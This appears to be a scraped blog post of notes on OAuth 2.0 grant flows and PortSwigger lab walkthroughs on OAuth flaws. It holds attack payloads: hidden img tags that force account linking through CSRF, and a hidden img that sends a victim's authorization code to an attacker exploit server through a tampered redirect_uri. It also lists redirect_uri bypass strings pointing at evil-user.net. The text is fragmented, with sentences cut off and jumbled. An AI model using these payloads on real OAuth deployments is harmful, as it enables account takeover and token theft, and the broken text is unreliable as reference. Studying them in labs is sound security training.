Hack. Eat. Sleep. Repeat!!!
Oauth Service Provider-: The website or application that control user’s data or access to it.They support OAuth by providing an API for interacting with both an authorization server and a resource server.
scope
parameter of the authorization request it sends to the OAuth service.scope=contacts
scope=contacts.read
scope=contact-list-r
scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly
openid profile
will grant the client application read access to a predefined set of basic information about the user, such as their email address, username, and so on./authorization
route specifying the specific user’s data it wants to access.It can also be identified based on the parameters used.Example-:GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
code
.GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
grant_type-: Used to make sure the new endpoint knows which grant type the client application wants to use. In this case, this should be set to authorization_code
.
/userinfo
endpoint. The access token is submitted in the Authorization: Bearer header to prove that the client application has permission to access this data.response_type
parameter must be set to token.GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
authorization request
.GET /oauth-linking?code=7706vS22XU7a0_7Y6GPlqfZGp-0me34AOyF1-euZB5y HTTP/2
Host: 0a5b00f7049636f180e20366002f00ca.web-security-academy.net
Cookie: session=vOIyOWOnYdQ5baX5r8y0MtQm15FfNEXD
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138", "Microsoft Edge";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0a5b00f7049636f180e20366002f00ca.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
<meta name="referrer" content="never">
<img src="https://0a5b00f7049636f180e20366002f00ca.web-security-academy.net/oauth-linking?code=7706vS22XU7a0_7Y6GPlqfZGp-0me34AOyF1-euZB5y" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
<meta name="referrer" content="never">
<img src="https://oauth-0ad400090399b87580db6aeb02940025.oauth-server.net/auth?client_id=qpomemlmp082nnh8dl250&redirect_uri=https://exploit-0a4e004a036ab83580b66be9011a007a.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
redirect_uri
to your the server you have control over-:redirect_uri=https://exploit-0a4e004a036ab83580b66be9011a007a.exploit-server.net/oauth-callback
state
or nonce
as not provided in the authorization grant.Don’t forget that the reponse_type
for authorization code grant
is code
and token
for implicit grant
.https://0ac0002f037eb89f809f6ce700ce00d4.web-security-academy.net/oauth-callback?code=[code]&response_type=code
https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/
redirect_uri
parameters as follows-:
https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net